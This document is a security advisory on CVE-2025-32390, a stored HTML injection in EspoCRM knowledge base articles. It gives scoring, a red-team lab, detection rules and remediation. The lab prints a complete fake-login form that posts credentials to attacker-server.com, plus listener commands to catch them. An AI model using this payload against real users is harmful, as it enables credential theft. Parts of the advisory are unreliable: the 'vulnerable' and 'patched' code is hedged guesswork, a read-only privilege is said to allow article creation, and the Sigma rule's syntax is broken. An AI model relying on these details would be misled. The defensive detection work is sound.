CVE-2025-32390

Executive Summary

CVE-2025-32390 is a stored HTML Injection vulnerability in EspoCRM, an open-source CRM platform. An authenticated attacker with the "read knowledge article" privilege can inject malicious HTML into a Knowledge Base (KB) article. When another authenticated user views the article, the injected HTML is rendered in the victim's browser, allowing the attacker to completely deface the page—for example, by imitating the EspoCRM login page. If the victim enters credentials into this fake login form, the credentials are captured in plaintext. This attack can be used for credential harvesting not only against EspoCRM but also against other enterprise applications if the attacker customizes the injected HTML to mimic their login pages.

Supply Chain & Package Security

EspoCRM is a PHP-based application distributed as a standalone package. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the application's own HTML sanitization logic. The fix is applied directly to the EspoCRM source code and is distributed via the official release channel.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
• Base Score: 6.8 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user with read KB privilege)
• User Interaction: Required (victim must view the malicious KB article)
• Scope: Changed (attacker can affect resources beyond the vulnerable component)
• Confidentiality Impact: High (credentials captured)
• Integrity Impact: Low (page defacement)
• Availability Impact: None

Threat Level: Medium. The attack requires authentication and user interaction, but the impact is significant due to credential theft and potential lateral movement.

Deep Dive & Mechanics

The vulnerability resides in the Knowledge Base article editor. EspoCRM allows users with appropriate privileges to create and edit KB articles using a rich text editor (WYSIWYG). The editor permits arbitrary HTML, including <form>, <input>, <script>, and <style> tags. The application does not sanitize or escape the HTML content before rendering it to other users.

Attack Flow:

1. An authenticated attacker with the "read knowledge base articles" privilege creates or edits a KB article.
2. The attacker injects malicious HTML that mimics the EspoCRM login page, including a fake login form with action attribute pointing to an attacker-controlled server.
3. The attacker saves the article.
4. Another authenticated user (victim) navigates to the KB article.
5. The victim's browser renders the injected HTML, displaying the fake login page.
6. The victim, believing they have been logged out, enters their username and password.
7. The credentials are sent to the attacker's server in plaintext (via HTTP POST or GET).

Why it works: The WYSIWYG editor (likely TinyMCE or similar) does not strip dangerous HTML elements. The application does not apply Content Security Policy (CSP) headers or output encoding for KB article content.

Vulnerable vs. Patched Code

Vulnerable Code (pre-9.0.8): The KB article content is stored and rendered without sanitization. In the view template, the content is output directly using {!! $article->body !!} (Blade syntax) or similar, which does not escape HTML.

// Vulnerable: raw output
<div class="kb-article-body">
    {!! $article->body !!}
</div>

Patched Code (9.0.8): The patch introduces HTML sanitization using a library like HTMLPurifier or a custom filter that strips dangerous tags (e.g., <form>, <input>, <script>, <iframe>). The output is now escaped or filtered.

// Patched: sanitized output
<div class="kb-article-body">
    {!! clean($article->body, 'kb_articles') !!}
</div>

The clean() function uses a whitelist of allowed tags (e.g., <p>, <b>, <i>, <a>, <img>) and removes all others.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Access to an EspoCRM instance (version < 9.0.8) with an authenticated user account that has "read knowledge base articles" privilege.
• A server to receive captured credentials (e.g., a simple HTTP server).

Step 1: Create a Malicious KB Article Log in to EspoCRM, navigate to Knowledge Base, and create a new article. In the HTML source view, inject the following payload:

<style>
    body { background: #f0f0f0; font-family: Arial, sans-serif; }
    .login-box { width: 300px; margin: 100px auto; background: #fff; padding: 20px; border: 1px solid #ccc; }
    input { width: 100%; padding: 10px; margin: 5px 0; }
    button { width: 100%; padding: 10px; background: #007bff; color: #fff; border: none; }
</style>
<div class="login-box">
    <h2>Session Expired - Please Login Again</h2>
    <form action="http://attacker-server.com/capture" method="POST">
        <input type="text" name="username" placeholder="Username" required>
        <input type="password" name="password" placeholder="Password" required>
        <button type="submit">Login</button>
    </form>
</div>

Step 2: Lure the Victim Send a link to the malicious KB article to the victim (e.g., via email or internal chat).

Step 3: Capture Credentials Set up a listener on your attacker server:

nc -lvnp 80
# or use a simple Python server
python3 -m http.server 80

When the victim submits the form, the credentials will appear in the server logs.

Blue Team (Defense & Detection)

Detection:

• Monitor for KB articles containing <form>, <input>, or <script> tags in the database.
• Look for unusual HTTP POST requests to external domains from the EspoCRM application.
• Alert on KB article creation/modification by users who do not normally interact with the Knowledge Base.

Prevention:

• Apply the patch (upgrade to 9.0.8).
• Implement a Web Application Firewall (WAF) rule to block HTML injection attempts in KB article content.
• Enforce Content Security Policy (CSP) headers to restrict form actions and script execution.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP POST requests to unknown external IPs/domains from the EspoCRM server.
  • Suspicious Referer headers pointing to EspoCRM KB article URLs.

• Host IOCs:

  • KB articles in the database containing <form>, <input>, or <script> tags.
  • Unusual entries in the knowledge_base_article table with body field containing HTML forms.

• File IOCs:

  • Log files showing KB article creation/modification by unexpected users.

Detection Engineering

YARA Rule

rule CVE_2025_32390_HTML_Injection {
    meta:
        description = "Detects HTML injection payloads in EspoCRM KB articles"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-32390"
    strings:
        $form_tag = /<form\s[^>]*action\s*=\s*["']?http/i
        $input_tag = /<input\s[^>]*type\s*=\s*["']?(text|password)["']?/i
        $script_tag = /<script[^>]*>.*<\/script>/is
        $iframe_tag = /<iframe[^>]*src\s*=\s*["']?http/i
    condition:
        any of them
}

Sigma Rule

title: EspoCRM KB Article HTML Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects creation or modification of KB articles containing HTML injection payloads
author: Valters IT
date: 2025-04-10
logsource:
    product: espocrm
    service: application
detection:
    selection:
        event: "KnowledgeBaseArticle.create" OR "KnowledgeBaseArticle.update"
        body|contains:
            - "<form"
            - "<input"
            - "<script"
            - "<iframe"
    condition: selection
falsepositives:
    - Legitimate use of HTML in KB articles (e.g., embedded images)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-32390 EspoCRM KB Article HTML Injection - Outbound Credential Harvesting"; flow:to_server,established; content:"POST"; http_method; content:"/capture"; http_uri; content:"username="; http_client_body; content:"password="; http_client_body; classtype:credential-theft; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade EspoCRM to version 9.0.8 or later.
2. If upgrade is not possible, manually apply the patch by modifying the KB article view to sanitize HTML output using a library like HTMLPurifier.
3. Review all existing KB articles for malicious content.

Long-term Mitigations:

• Implement Content Security Policy (CSP) headers to restrict form actions and script execution.
• Enable audit logging for all KB article modifications.
• Restrict KB article creation/modification privileges to trusted users only.
• Conduct regular security training for users to recognize phishing attempts.

Workaround:

• Disable the Knowledge Base module temporarily if it is not critical for operations.

Valters IT